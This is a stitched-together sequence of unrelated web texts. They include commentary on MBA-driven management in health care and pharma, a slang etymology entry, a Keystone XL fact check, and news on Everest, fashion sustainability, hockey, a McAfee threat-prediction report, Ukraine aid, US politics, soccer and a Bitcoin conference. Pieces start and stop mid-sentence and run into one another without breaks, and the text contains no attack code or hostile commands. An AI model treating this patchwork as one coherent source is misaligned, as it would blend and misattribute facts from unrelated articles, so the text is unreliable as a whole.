Roy Poses at The Health Care Renewal blog has written with great energy and detail about the corrosive effect of what he calls generic management, or what could also be described as misrule by MBAs, on the delivery and quality of health care. Not only do they increase the cost of the adminisphere through their lofty pay, but they also make clear that they have little interest in or respect for clinical expertise, and wind up degrading care and demotivating staff.
Given how many MBAs have been churned out, and how they’ve wound up ensconcing themselves in other fields, like higher education, which similar dubious effects, one might argue that Valeant-like strategies would have inevitably have taken hold. But McKinsey operated as a major transmitter and legitimator of extractive practices.
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* Pharmaceutical companies pay so little tax that many top tax professionals believe the companies exaggerate the tax savings they will achieve through inversions in order to assure shareholder approval.
** One could argue that “maximizing shareholder value” has served as an excuse for rent extraction by top executives, so this outcome is a feature rather than a bug.
*** Bear in mind that that 13% figure overstates what laypeople would consider to be R&D by a large degree. For the 15 years, well over 80% of FDA “new drug applications” are for extensions or minor reformulations of existing drugs. In other words, the “new drug application” process as currently practiced is mainly about extending license protection, not invention.
**** “What’s the difference between high tech and biotech? How long it takes you to find out you’ve lost all your money.”Etymology Edit
Popularized by rap artist Snoop Dogg, but first put to vinyl by Frankie Smith's 1981 "Double Dutch Bus"[1] is from a style of cant (esoteric slang) used by African American pimps and jive hustlers of the 1970s. The “-iz, -izzle, -izzo, -ilz” speak (which also uses an infix -iz-), similar in some ways to Pig Latin, was developed by African Americans around the period of the Harlem Renaissance, with hotspots of the speak in Oakland, New York City, and Philadelphia. It was partially developed as young African American girls improvised chants and nursery rhymes while jumping rope, with the -iz dialect serving to add syllables when necessary to maintain the rhythm. A similar -iz dialect has also been used by carnies (carnival workers).
Pronunciation Edit
Suffix Edit
-izzle
( slang ) A slang suffix to form hip-hop-sounding words, which replaces the word with the first sound of the word followed by -izzle. 2004, Hollywood Reporter, British judge: nizzle-shizzling not an offense A bewigged British judge ruled on Thursday that the lyrics of a rap record urging the listener to “ shizzle my nizzle ” and referring to a “mish mish man” did not constitute an offense.
, Hollywood Reporter, February 15 2005, The Guardian, Shortcuts Snoop Dogg has always had a refreshing take on British culture. When he met Rod Hull and Emu on The Word, for instance, he took exception to the overindulged bird’s lunge at his genitals (or “lizzle at his gizzle”, to use Snoop’s parlance). After a short struggle, the rapper’s foot rested on the bird-handler’s neck. If only Parky had been so proactive.
Derived terms Edit
See also Edit
References EditIn this March 22, 2012 file photo, President Obama speaks at the TransCanada Pipe Yard in Cushing, Okla. AP Photo/LM Otero)
“I’ve already said I’m happy to look at how we can increase pipeline production for U.S. oil, but Keystone is for Canadian oil to send that down to the Gulf. It bypasses the United States and is estimated to create a little over 250, maybe 300 permanent jobs. We should be focusing more broadly on American infrastructure for American jobs and American producers, and that’s something that we very much support.”
— President Obama, interview with WDAY of Fargo, N.D., Feb. 26, 2015
President Obama, seeking to explain his veto of a bill that would have leapfrogged the approval process for the Keystone XL pipeline, in an interview with a North Dakota station repeated some false claims that had previously earned him Pinocchios. Yet he managed to make his statement even more misleading than before, suggesting the pipeline would have no benefit for American producers at all.
The Fact Checker obviously takes no position on the pipeline, and has repeatedly skewered both sides for overinflated rhetoric. Yet the president’s latest comments especially stand out. Let’s review the facts again.
The Facts
As we have noted before, when the president says “it bypasses the United States,” he leaves out a very important step. The crude oil would travel to the Gulf Coast, where it would be refined into products such as motor gasoline and diesel fuel (known as a distillate fuel in the trade). Current trends suggest that only about half of that refined product would be exported, and it could easily be lower.
A report released in February by IHS Energy, which consults for energy companies, concluded that “Canadian crude making its way to the USGC [Gulf Coast] will likely be refined there, and most of the refined products are likely to be consumed in the United States.” It added that “for Gulf refineries, heavy bitumen blends from the oil sands are an attractive substitute for declining offshore heavy crude supply from Latin America.” It concluded that 70 percent of the refined product would be consumed in the United States.
Enviromentalists dismiss IHS as a biased source, but the analysis mirrors the conclusions of the State Department’s final environmental impact statement on the Keystone XL project. This is what is especially strange about Obama’s remarks, as he appears to be purposely ignoring the findings of the lead Cabinet agency on the issue.
“Comments were received throughout the review process speculating that WCSB heavy crude oil supplies carried on the proposed Project would pass through the United States and be loaded onto vessels for ultimate sale in markets such as Asia,” the State Department said. “As crude of foreign origin, Canadian crude is eligible for crude export license as long as it is not commingled with domestic crude. However, such an option appears unlikely to be economically justified for any significant durable trade given transport costs and market conditions.”
The report added:
“Once WCSB [Western Canadian Sedimentary Basin] crude oil arrives at the Gulf Coast, Gulf Coast refiners have a significant competitive advantage in processing it compared to foreign refiners because the foreign refiners would have to incur additional transportation charges to have the crude oil delivered from the Gulf Coast to their location….Gulf Coast refineries have the potential to absorb volumes of WCSB crude that go well beyond those that would be delivered via the proposed Project. On this basis, the likelihood that WCSB crudes will be exported in volume from the Gulf Coast is considered low.”
Finally, note that Obama said Keystone was just for Canadian oil, and “we should be focusing on American infrastructure for American jobs and American producers.” But actually, Keystone would help U.S. oil producers in North Dakota and Montana. TransCanada, the builder of the pipeline, has signed contracts to move 65,000 barrels a day from the Bakken area –and hopes to build that to 100,000. That’s nearly 10 percent of the region’s production.
The Congressional Research Service in 2013 estimated that about 12 percent of the pipeline’s capacity had been set aside for crude from the Bakken region. Of course, delays in the Keystone project have sent oil producers in search of other methods of transport, potentially making this link less relevant, but the president can’t argue the project was not proposed without U.S. producers in mind.
Moreover, as we have noted before, U.S. companies control about 30 percent of the production in Canada’s oil sands region. Thus, contrary to Obama’s suggestion, it is not strictly Canadian.
We have poked fun at TransCanada for suggesting the pipeline would reduce reliance on foreign energy — when in fact Canada is a foreign country — but that does not give Obama license to suggest there is no possible American benefit from the pipeline.
(Incidentally, while the president spoke of 250 to 300 permanent jobs, the State Department report actually says 35. But this is a construction project. How many construction projects result in very many permanent jobs?)
The White House declined to provide an on-the-record defense of the president’s statement. That certainly suggests officials are unwilling to make a public case contradicting the State Department findings.
The Pinocchio Test
When Obama first started making the claim that the crude oil in the Keystone pipeline would bypass the United States, we wavered between Three and Four Pinocchios — and strongly suggested he take the time to review the State Department report.
Clearly, the report remains unread.
The president’s latest remarks pushes this assertion into the Four Pinocchios column. If he disagrees with the State Department’s findings, he should begin to make the case why it is wrong, rather than assert the opposite, without any factual basis. Moreover, by telling North Dakota listeners that the pipeline has no benefit for Americans, he is again being misleading, given that producers in the region have signed contracts to transport some of their production through the pipeline.
Four Pinocchios
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Follow The Fact Checker on Twitter and friend us on FacebookNepalese officials announced Thursday that new laws will require climbers to bring down just under 18 pounds of waste, along with their own personal garbage, from Mount Everest during ascents. But contrary to what reports are saying, the real issue isn’t garbage on the mountain—it’s ongoing Sherpa labor laws.
“Everest does not have a trash problem,” Outside senior editor and Everest correspondent Grayson Schaffer says. “These new laws are a diversion tactic to distract from labor issues." Schaffer has reported extensively on the welfare of Sherpas on Everest—and those issues have especially come to the fore after 16 Sherpas died in an avalanche on April 18.
"The government wants to make it appear that they have control over a problem," Schaffer says. "But this one does not exist.”
Though Everest does not have a garbage problem, there is a growing problem with sanitation. Climbers often defecate into crevasses above Base Camp. But the glacier—and the waste entombed within it—is slowly making its way back toward Base Camp, says Schaffer. And climbers all drink that meltwater.
After massive non-government cleanups that took place in the 1990s, such as the Sagarmatha Environmental Expedition, climbers know they ought to carry their waste down the mountain with them. “We removed quite a bit of trash—I think 5,000 pounds, during one trip—but that was our focus,” says Rob Hess, the equipment leader of the SEE in 1994. "I would like to think that the laws from the Nepalese government are for the betterment of the mountain. But there is a bit of inequity."At the Galway International Arts Festival on Saturday, I had the privilege of hosting a public interview with Prof Rebecca Earley, called “The Power of Less”.
Earley is at the forefront of sustainable design. She is a textile designer who is also the director of centre for circular design at Chelsea College of Arts, director of the Textile Future Research Centre, lead researcher at Textiles Environment Design, where she created “the 10”, a series of sustainable strategies, and she has worked with brands such as H&M and Puma.
Earley is a proponent of the circular economy, where instead of everything ending up as waste as it does in the linear economy, the economic system becomes a regenerative one, where waste, emissions and energy are minimised. This can take the form of recycling, repairing, reusing, and also diverting by-products or potential waste products to other industries for use or reuse.
Conversations about sustainability and fashion tend to revolve around the slow-fashion movement, inspired by the slow-food movement, and reacting to our fast-fashion reality – cheap clothes, mass-produced in factories in developing countries, with a massive turnover when it comes to getting the latest trends on the shop floor as quickly as possible for the cheapest price. We cannot claim the real costs of this are hidden, given the continuous attention brought to the environmental and human costs in that production and supply chain.
Point of privilege
Slow fashion, like organic food, is often spoken about from a point of privilege, where people have spending options, and should “do the right thing”. Earley asks the provocative question about how can sustainability fit into the reality that we’re already experiencing. How can sustainable clothing also think fast? This is where design can lead, designing to minimise waste, reduce chemical impacts, reduce energy and water use, design using cleaner technologies, design for ethical production and design for less stuff in general, reducing the need to consume.
Slow fashion cannot be the only solution, and that’s a challenging point of view. The guilt and education factor works for some conscientious consumers who have the option of buying a few items of premium, ethnical clothing a year, but the reality is that they are a tiny percentage of overall consumers. We cannot ignore the majority of consumer behaviour.
Cotton is a problem, causing issues across agriculture, water and waste. It can take 20,000 litres of water to produce a kilo of cotton
Earley assessed my own clothing. Dr Martens boots, which I buy the same pair of every three or four years, came out okay. My go-to black skinny jeans, which I’m rarely out of, were revealed to be 91 per cent cotton, 6 per cent polyester and 3 per cent elastane.
Cotton is a problem, causing issues across agriculture, water and waste. It can take 20,000 litres of water to produce a kilo of cotton. According to the World Wildlife Federation, while 2.4 per cent of the world’s crop land is planted with cotton, it accounts for 24 per cent of the global sales of insecticide. Cotton farming has caused the destruction of seas, river basins, and has massive health and economic impacts on people who farm it and their families. When crops fail, people are made destitute, and the level of chemicals involved in its growing have huge health implications.
Elastane is a right pain, making it difficult to recycle clothes it’s a component of because it’s so hard to extract the fibres. Its use has grown massively with the boom in stretchy jeans and trousers, as well as leggings and exercise gear. So that was a fail. My Cos shirt turned out to be 100 per cent polyester, a fabric synonymous with fast fashion, but which lasts for 200 years and is made from petrochemicals, having a double whammy of issues with recycling as well as requiring a fossil fuel for its production. Damn it. And I thought I was doing well.
Landfill
Earley spoke about some clothes shops dealing in fast fashion, where it is not worth their while at closing time to pick up and clean the items of clothing that have ended up on the floor during the course of shopping hours. Instead this clothing is swept off the shop floor and discarded, ending up in landfill. She spoke about microfibres – the clothing version of microbeads, which we’ve been hearing a lot about recently – and the increasing alarm related to them, how items of clothing shed tiny threads in the wash, which are then ingested by fish, which we in turn eat. Fleeces in particular are major culprits.
The complexity and scale of the damage the textile industry does to the planet and its people are huge, yet it’s refreshing to hear Earley, a leader in this area working with big brands, talk about broad solutions, not niche ones. While conversations and online bragging about sustainability and a renewed interest in recycling and repairing are becoming increasingly amplified, the figures in terms of consumption do not correlate.
One particular project Earley and her children undertook was something we could all try: a year of buying nothing new. One of the issues with conversations around sustainability is that those who have the privilege of being able to change their behaviour are the least likely to experience the environmental and economic impact of their consumption habits, and so the immediacy of actually changing how we shop and what we wear can feel vague and distant. But the problem is not far away at all. For most of us, we’re wearing it right now.The Northwest Division is beefing up. The Avalanche have apparently signed forward/defenseman/goon Matt Carkner (Update: Matt Carnker will in fact sign in the Eastern Conference with the New York Islander) and the Wild have signed faceoff specialist/goon Zenon Konopka. The West is beefing up as a whole too, as the Sharks gave 4 years and nearly 8 million to Adam Burish…
Konopka agrees to 2 year contract with Minnesota Wild. — Darren Dreger (@DarrenDreger) July 1, 2012
Do the Canucks need to react to these moves? Should they? Popular opinion seems to indicate they should, as Vancouver’s current toughness consists of Dale Weise, Max Lapierre, Zack Kassian, and Kevin Bieksa.
In addition to signing Konopka, the Wild recently re-signed former Vancouver Giant Matt Kassian (no relation to Zack). Colorado is building a gritty team with the likes of Steve Downie, Cody McLeod, and Jamie McGinn up front, even if their Carkner report was embarrassingly premature.
Thomas Drance on what the Canucks should do to counter these signings:
The right #Canucks response to their Northwest opponents gooning it up? Iron out that power-play… — Thomas Drance (@ThomasDrance) July 1, 2012
I’d agree. The Canucks became the class of the NHL in 2010-11 because they made opposing teams pay with their power play. If other teams would try to goon it up with the Canucks, they would put the league’s best power play to work. The best knockout punch in the world has nothing on a few power play goals in terms of effectiveness.
Konopka is an interesting player, as he isn’t just a goon (like Carkner). He is one of the best faceoff men in the league, and he can kill penalties, too. The Wild have several defensively responsible centers now, as Konopka joins the likes of Kyle Brodziak, Matt Cullen, and Mikko Koivu.
George Parros is a free agent, but the Canucks apparently haven’t expressed any interest. According to Darren Dreger, there is interest in the most famous moustache in hockey.
At least 3 formal offers on the table for George Parros, while teams have said they will circle back. Not surprised. Tough and he can play. — Darren Dreger (@DarrenDreger) July 1, 2012
Should the Canucks pursue toughness? Sure, it doesn’t hurt to add some size and grit to the mix, but those players have to be good enough at, you know, hockey to play 12 minutes per game. However, adding a player for the sake of keeping up with division rivals makes little sense, especially so early in the free agency game.Computer security firm McAfee Labs released its annual Threat Predictions report today, taking a look at what we'll see (and hope not to see) on 2013's deck of malware and viruses. Interestingly, McAfee's analysis predicts a decline in Anonymous' attacks, a rise in the frequency and sophistication of mobile malware, and a rise in large-scale attacks that aim to cause as much destruction as possible.
This time last year, McAfee's report for 2012 predicted that “Hacktivism and Anonymous will reboot and evolve.” While this year didn't see anything on the level of the hacks of Sony and HBGary from 2011, Anonymous did execute a number of high-profile attacks and threats. Now McAfee says that in 2013, hacktivisim will be conducted by more homogeneous, politically-motivated groups rather than Anonymous' pantheon of personalities and pet causes. Still, McAfee suggests that Anonymous may be able to stage a few high-visibility attacks in the coming months despite its predicted decline. The report reads:
Sympathizers of Anonymous are suffering. Too many uncoordinated and unclear operations have been detrimental to its reputation. Added to this, the disinformation, false claims, and pure hacking actions will lead to the movement’s being less politically visible than in the past. Because Anonymous’ level of technical sophistication has stagnated and its tactics are better understood by its potential victims, the group’s level of success will decline. However, we could easily imagine some short-lived spectacular actions due to convergence between hacktivists and antiglobalization supporters, or hacktivists and ecoterrorists.
The analysts go on to say that smaller groups with extremist views will redouble their efforts to hack bastions of democratic societies, improving their tactics “in sophistication and aggressiveness.”
In a similar vein, McAfee's report predicts “[l]arge-scale attacks like Stuxnet that attempt to destroy infrastructure, rather than make money.” While Ars reported on many a credit card scam this year, McAfee says those kind of hacks could pale in comparison to malware for malware's sake, choosing wanton destruction over profitable thievery.
But petty thievery will thrive in the mobile space, according to McAfee's report: trojans that buy apps from an app store without the user's approval and ransomware that bricks phones until the user pays a fee to the hacker are both pointed out in the report as types of hacks that have the potential to become much more common. Ransomware on the PC will also become more common next year, and McAfee notes that instances of this type of hack have “more than tripled during the past year.”Canada will send military equipment to help Ukraine protect its eastern border, Defence Minister Rob Nicholson said Thursday.
"Ukraine has asked for this and once again we are delivering," Nicholson said at CFB Trenton, a busy air base located a 90-minute drive east of Toronto.
"[Russian President Vladimir] Putin’s failure to end his support to armed rebel groups constitutes a real threat to international peace and security."
The equipment includes helmets, ballistic eyewear, protective vests, first-aid kits, tents and sleeping bags, according to a news release from the Prime Minister's Office.
The release says the equipment "will allow Ukrainian security and border authorities to better detect and track the movement of illicit goods and people."
NATO says it fears Russia is poised to invade Ukraine, with 20,000 soldiers positioned along the country's border.
Non-lethal, but no ban on weapons sales
Kirill Kalinin, a spokesman for the Russian Embassy in Ottawa, said there are no plans to invade Ukraine.
"This is ridiculous," he said in an interview on CBC News Network.
"We've conducted a series of war games since the start of the crisis in Ukraine," he said. "That's more than 700 km away from the Ukrainian conflict zone."
"This conflict in Ukraine is an internal conflict and there is no Russian involvement in this conflict. Period," Kalinin said.
The equipment is "non-lethal," which usually refers to defensive or protective equipment, as opposed to weapons used for attacking.
A background document attached to the news release noted there's nothing stopping Canadians from selling military hardware to people in Ukraine. The EU has just lifted its own ban on the sale of military technology and hardware into Ukraine, the document noted.
"There is currently no ban in place on the sale of military technology and hardware to Ukraine in Canada," the document said.
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Vadym Prystaiko, Ukraine's ambassador to Canada, thanked the government for the aid.
"Ukrainian foot soldiers are bearing heavy losses and this equipment will be able to save them, to bring more fathers back to their families and their kids and their sons," he said.
"Each and every soldier who will be equipped with protective gears … will feel and understand the support and care of the Canadian brothers in arms.
Worth up to $5M
Canada is sending military personnel with the equipment, but turning over the equipment to the Ukrainians upon arrival, Nicholson said. The equipment will be delivered over a series of flights on a CC-130J Hercules.
In June, U.S. President Barack Obama pledged $5 million in military aid to Ukraine, including body armour and night vision goggles. Until then, the U.S. had only provided non-lethal forms of aid like clothes, food and radios. Prystaiko said Canada joins the U.S., the Netherlands, Lithuania and other countries in providing assistance, but has provided the most.
Last February, Canada pledged $200,000 in medical aid to Ukraine after months of protests and violent suppression in the country. Canada later pledged $220 million in financial support, conditional on the establishment of a broader package by the International Monetary Fund.
Prystaiko had complained the aid is taking too long to arrive. Canadian officials say they have to ensure the proper checks and balances are in place so the money is spent properly.
The equipment announced Thursday, worth up to $5 million, will be funded through Canada’s Global Peace and Security Fund according to the news release from the Prime Minister's Office.Here is something you can’t understand, how Maxim can just kill a man.
I almost published a post on Sunday night about the Lapierre hit on Jesse Winchester that resulted in Winchester going through the gate and onto the Canucks bench. Ultimately, I decided that it was a complete non-story unworthy of mention and that if I posted it, it would be a cynical attempt to troll for hits. Well, a frustrated Senators team, and Bruce Garrioch took a different view (resulting in the story making Puck Daddy):
Accused of being one of the NHL’s most hated teams, the Canucks certainly lived up to that billing. Winger Maxim Lapierre slammed Jesse Winchester into an open bench door being controlled by Alex Burrows with no call. It appeared Burrows opened the door and Ottawa players weren’t pleased. Winchester said the decision by Burrows was dangerous. “It’s not a safe play,” said Winchester. “I was under the impression my butt was against the wall, the next thing I know I’m through the bench. I couldn’t see behind me, I’m not paying attention to what’s on the bench.”
The way the Senators and Winchester see the play, Alex Burrows was in control of the bench door, and using "Chaplin-esque" comedic timing, unlocked the door just in time for Maxim Lapierre to slam Winchester onto the Canucks bench. Let’s check out the video evidence:
Via @EyeonHockey
So the "smoking gun" is that Burrows’ left hand was holding the gate when Winchester got hit through it. It has been pointed out that the latches aren’t on the top of the gate (where Burrows’ hands are) and that the Canucks were mid-line change when the puck bounced into the area around their bench. Never mind that Maxim Lapierre skated nearly 80 feet, and held-up on a check intended for Bobby Butler, before making contact with Winchester; some will still contend that Burrows had enough time to gauge the trajectory of Lapierre’s hit before it happened. And that’s how the Canucks set up a dangerous pratfall for Winchester – case closed.
Look, I’m happy to call the Canucks on a dirty play when I see it, but as far as I’m concerned, Burrows would have to be a psychic to anticipate this play sufficiently well to banana-peel Winchester in this manner. If you have to do mental gymnastics to prop up an argument ascribing ill-intent, you’re probably better off picking up Occam’s Mach-8 disposable razor, especially since you’re probably not very sharp.
As for Winchester’s comment that this was a "dangerous play," he’s right, and that shouldn’t be ignored. Perhaps there should be a bench minor for a team that fails to secure the gate on a play like this. If the discussion was "Burrows and the Canucks bench failed to secure their gate, which was reckless" well that would be a reasonable place to start a discussion about this play.
But that’s not the tenor of this discussion, and it never is when it comes to the Canucks. Which of course ties back into this season’s theme of Embracing the Hate. In this case, a pretty clear cut accident is presented by the media as some intentional, slap-stick designed to potentially injure an opposing player. Well okay then.
"But it was Maxim Lapierre and Alex Burrows! They’re French, they play dirty, they’re competing as synchronized divers for Canada in London in 2012, and one of them moon-lights as a cannibal! " – An idiot.
When the Canucks spoke with Botchford about being "tired" of their "most hated team in the league" status, this is probably what they were getting at. The media, bloggers and occasionally the opposition, habitually superimpose malignant intent onto anything that happens while the Canucks are on the ice. It doesn’t matter how tenuous the evidence is, either. The result is often awkward, and occasionally veers into irrationality.
But you make your own reputation, and the Canucks have, like it or not, earned theirs. They’re not likely to get the benefit of the doubt from their opponents or the league, especially when the last names on the offending sweaters read: "Burrows #14" and "Lapierre #40".
So be it. Embracing the Hate, means letting detractors make fools of themselves on occasion. Anyone who watches this with a critical eye is going to realize how silly it is to make this on-ice accident out to be something malicious and intentional. If they see something else, I can’t help them, because there’s simply no smoke here, and even less fire.
The odd thing is that Andrew Alberts’ hit when he boarded Kaspers Daugavins in the same game was a legitimate bad hit, the type of play I hate to see, and want eliminated from the game. But apparently that hit is an after-thought in comparison with this sequence? That is mind-numbing to me.Geography
Main article: Geography of Western Sahara Western Sahara is located on the northwest coast in West Africa and on the cusp of North Africa, bordering the North Atlantic Ocean to the northwest, Morocco proper to the north-northeast, Algeria to the east-northeast, and Mauritania to the east and south. The land is some of the most arid and inhospitable on the planet. The land along the coast is low flat desert and rises, especially in the north, to small mountains reaching up to 600 metres (2,000 ft) on the eastern side. While the area can experience flash flooding in the spring, there are no permanent streams. At times a cool off-shore current can produce fog and heavy dew. The interior experiences extreme summer heat with averages highs reaching as high as 43–45 °C (109–113 °F) in July and in August; during "winter", days are still hot to very hot with averages highs from 25 to 30 °C (77 to 86 °F) but in the northern |
Jared Meyer is a fellow at the Manhattan Institute for Policy Research. Follow him on Twitter here.
Interested in real economic insights? Want to stay ahead of the competition? Each weekday morning, E21 delivers a short email that includes E21 exclusive commentaries and the latest market news and updates from Washington. Sign up for the E21 Morning Ebrief.Sen. Bernie Sanders Bernard (Bernie) SandersSenate Dems seek to turn tables on GOP in climate change fight Bernie Sanders Town Hall finishes third in cable news race, draws 1.4 million viewers Woman to undecided Biden: 'Just say yes' to 2020 bid MORE (I-Vt.) on Monday ignored questions about the FBI investigation into his wife from Fox News and The Associated Press, opting instead to give an answer about healthcare to a Fox News reporter who caught up with him outside the Capitol.
"No, that's not what I'm talking about today," Sanders told an Associated Press reporter who also attempted to ask about the FBI's investigation into his wife.
The FBI is reportedly looking into whether Jane Sanders falsified loan documents while she served as the president of Burlington College. The small Vermont liberal arts school closed down in May 2016 after going bankrupt and failing to meet accreditation standards.
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A family spokesperson confirmed to the AP on Monday that Jane Sanders has hired a lawyer to protect her interests.
A reporter for Fox News asked Sanders Monday if he still thought the probe into his wife was “politically motivated” now that other news outlets have reported on the investigation.
"Well I'm glad that you're interested in the fact that the Republican leadership is proposing legislation which would throw millions of people off of health insurance," Sanders told the reporter in a brief clip aired by Fox News.WASHINGTON – In need of a win to clinch a spot in the MLS Cup Playoffs, the Houston Dynamo took care of business on the final day of the regular season.
Goals from Boniek García and Giles Barnes propelled the Dynamo to a 2-1 victory over D.C. United on Sunday at RFK Stadium and ensured the club its seventh postseason appearance in eight years.
Meanwhile, the loss saw United set a new MLS record for fewest victories in a season (3), one fewer than Chivas USA in 2005. But Kyle Porter's goal for United in the 27th minute ensured the club would not share the league record for the fewest goals scored in a season.
Dominic Kinnear’s club (14-11-9, 51 points) beat United (3-24-7, 16 points) for the third time this year. They must now await the result of Sunday afternoon’s matches involving the New England Revolution and Chicago Fire to see what seed they will have once the playoffs begin. Currently, the Dynamo are in third place.
In a rematch between 2012’s Eastern Conference finalists, it was dream start for Houston, who took the lead in the 11th minute and are now an MLS-best 13-0-3 this year when scoring first. Conversely, D.C. went 0-20-2 when conceding first.
Working against United defender James Riley, Barnes was taken down on the near side of the box and referee Armando Villarreal pointed to the spot. Garcia’s solid penalty kick, which beat Hamid low and to his left even though he guessed right, was his third of the season and put the Dynamo ahead 1-0.
Playing without minutes leader Perry Kitchen, suspended for yellow card accumulation, and with several key players sidelined by injury, DC didn't back down and even seemed to gain the upperhand after surviving an initial onslaught.
United’s equalizer came in the 27th minute, when Chris Pontius made a brilliant run toward the end line on the left side. His lifted cross to the far-post was met by Porter, a late addition to the starting XI after Collin Martin was scratched. He outjumped the defender and headed the ball down past Houston goalkeeper Tally Hall for his third goal of the season. He finishes the season tied with Dwayne De Rosario and Silva for most goals on the team.
Then as has been the case so frequently this year, United’s ineffectiveness in the final third reared its head. In the 36th minute, on a 2-on-0 break with only Hall to beat, Conor Doyle passed to De Rosario, who muffed the touch and couldn’t send the ball into an open net.
Three minutes later, Houston got the game-winner. Following two sensational saves by United goalkeeper Bill Hamid to rob both Will Bruin and Brad Davis on clear scoring opportunities, Davis lined up the resulting corner. The Dynamo have long exploited D.C. on set pieces and did so again this time as Barnes beat his mark, midfielder Luis Silva, and nodded the service by Hamid for his team-leading ninth goal of the season.
Beside the penalty call, United’s coaching staff were livid with Villarreal on two occasions that might have gone United's way. Twice, United felt they deserved a penalty of their own, once for a potential handball by Dynamo defender Corey Ashe in the box at the end of the first half and again when Pontius was taken down in the box by Eric Brunner in the 48th minute.
Regardless, the match concluded with the Dynamo on top and waiting to find out who their first opponents will be in the playoffs as they attempt to get back to the MLS Cup final for a third consecutive time.
"We know our group can get to the final again," Davis told NBC after the final whistle. "We did it last year. We have the ability. We have the belief."
D.C. United (3-24-7; 16 points) vs. Houston Dynamo (14-11-9; 51 points)
MLS regular season
October 27, 2013 – RFK Stadium, Washington, D.C.
Attendance: 13,731
Scoring Summary:
Houston Dynamo: Boniek Garcia 3 (penalty) 11
D.C. United: Kyle Porter 3 (Chris Pontius 3, Luis Silva 4) 27
Houston: Giles Barnes 9 (Brad Davis 9) 39
Houston Dynamo: Tally Hall; Kofi Sarkodie, Bobby Boswell, Eric Brunner, Corey Ashe; Boniek Garcia, Warren Creavalle, Ricardo Clark (Servando Carrasco 89), Brad Davis; Giles Barnes (Cam Weaver 77), Will Bruin (Omar Cummings 87)
Unused substitutes: Tyler Deric, Mike Chabala, Alexander Lopez, Andrew Driver
D.C. United: Bill Hamid; Chris Korb, James Riley, Daniel Woolard, Dennis Iapichino; Kyle Porter (Nick DeLeon 59), Jared Jeffrey, Luis Silva (Sainey Nyassi 79), Chris Pontius; Conor Doyle, Dwayne De Rosario
Unused substitutes: Joe Willis, Conor Shanosky, Andrew Dykstra, Lionard Pajoy
Misconduct Summary:
Houston: Bobby Boswell (caution) 83
Houston: Kofi Sarkodie (caution) 87
D.C.: James Riley (caution) 90+3
Referee: Armando Villarreal
Referees’ Assistants: Adam Wienckowski, James Conlee
4th Official: Ted UnkelRoughly 200 foreign students and AFL-CIO union members have gathered to protest The Hershey Co.'s policies on foreign workers. The protesters first stood outside one of The Hershey Co.'s main distribution facilities in Palmyra, then moved to the Chocolate Workers Union downtown.
The students, who are working in the United States through the J1 Visa program, are asking the company to review its policies for foreign workers.
The warehouse is operated by Exel, an Ohio-based logistical firm that provides services for businesses in the Harrisburg area.
See also:
The foreign workers are primarily college students who signed up — and paid for — a three-month cultural exchange program. The program is designed to bring them to the United States, where they will work in and around Americans.Instead, the students contend they are working in Exel warehouses among other foreign workers with little or no contact with Americans.Stephen Boykewich is a spokesman for the National Guestworker Alliance, which helped the students organize the protest.“The joke is the cultural exchange is between the Turks and the Moldovians,” he said.Guestworkers at the facility are paid between $7.85 and $8.35 an hour.They said their demands are that The Hershey Co. repay them for the cost of their trip and end the practice of hiring students through the J1 Visa program.Former Florida Gov. Jeb Bush (R) on Thursday said that he does not believe that the federal government needs the Voting Rights Act to oversee voting laws in states with a history of racial discrimination.
During a forum held by the Des Moines Register, Bush was asked if he would reauthorize the Voting Rights Act, which was passed in 1965.
Bush spent most of his response discussing provisions in the law that require certain states to submit any changes to their voting laws to the federal government.
“If it’s to re-authorize it to continue to provide regulations on top of states as though we are living in 1960 — because those were basically when many of those rules were put in place — I don’t believe that we should do that,” Bush responded. “There’s been dramatic improvement in access to voting — exponentially better improvement. And I don’t think there’s a role for the federal government to play in most places — there could be some — but in most places where they did have a constructive role in the 60s. So I don’t support reauthorizing it as is.”
Bush is likely referring to sections 4 and 5 of the Voting Rights Act. Section 5 established that certain states must obtain pre-clearance for new voting laws, and Section 4 established the formula used to determine which states and localities must submit change for pre-clearance. In 2013, the Supreme Court struck down Section 4, without which Section 5 is useless.
Bush’s comments come as Alabama officials have closed drivers’ license offices in counties with a majority black population even though the state requires residents to present a photo ID in order to vote. Critics argue that the closures in combination with the state’s voter ID laws will make it harder for African Americans to vote.
Watch video of Bush’s remarks on the Voting Rights Act:President Donald Trump will pick Jerome "Jay" Powell to be the next Fed chair, The Wall Street Journal reported Wednesday, citing a source.
The White House has notified Powell that it intends to nominate him, the WSJ reported, citing a person familiar with the matter.
Figuring out who the administration would name to succeed current Fed Chair Janet Yellen has been one of Wall Street's favorite parlor games in recent weeks. Powell has long been seen as a front-runner along with former Fed board member Kevin Warsh, Stanford economist John Taylor and Yellen herself.
Trump is slated to announce his decision on Thursday, before he leaves for a trip to Asia on Friday. The WSJ report said the president had settled on his selection on Saturday but could change his mind.
Yellen's four-year term expires in February. She took over as Fed chair in 2014 under President Barack Obama, succeeding the departing Ben Bernanke.
Powell has been seen as the "safe choice" to succeed Yellen because he is not expected to veer drastically from current Fed policy. On Wednesday, the Fed left interest rates alone, though expectations are that it will raise rates at its next meeting in December.
Read the full WSJ report here.Bitcoin Conference Prague, aiming to create a unique cryptocurrency space for communication among businesses and interested individuals, will be hosted on May 19, 2016.
The conference will be covering the latest and trending topics including forecasts, analysis, best deals for working with cryptocurrencies.
In addition, the conference will feature an “Exhibition area”, which will provide an opportunity to get acquainted with the market leaders, innovative products and to obtain first-hand information, while “Start-up Alley” will provide a platform to discuss new ideas and new offers.
The topics to be discussed include:
Bitcoin 2016 - what to expect and what to be afraid of
Blockchain - future prospects
Cryptocurrency Security - myth or achievable reality
Investment climate - where you can make fortune
Legislative regulation - international experience
Bitcoin in gambling
Speakers include Amin Rafiee of Bitnation; Jack Tatar, founder and owner of GEM Research Solutions & People Tested Media; Ronny Boesing, CEO CCEDK Aps; Andrey Zamovskiy, Founder at Ambisafe; and George Basiladze, founder at Cryptopay.
The event is being organized by Smile-Expo Company. Bitcoinist reported that the company is glad to see everyone who is interested in the development of new technologies, which in 5 years will become as popular as the Internet and smart phones are today.Chief Arthur Noskey earned a salary of $103,000 last year as the elected leader of the Loon River Cree, a northern Alberta First Nation with an on-reserve population of fewer than 500. He is a rarity among Aboriginal leaders. It’s not his pay level that makes him stand out; dozens of other chiefs across Canada make tax-free, six-figure salaries. What’s unusual about Noskey is that, among several conspicuously well-paid chiefs contacted by Maclean’s about how much they make—as those figures are in the process of being made public by the federal government—he was alone in quickly offering an upbeat, unapologetic account. Along with his political function, Noskey explained, he takes a leading role in directing six band-owned companies, from trucking to oil-patch services. “If I were in the real world, with these big CEOs, what do you think I’d be making?” he asks.
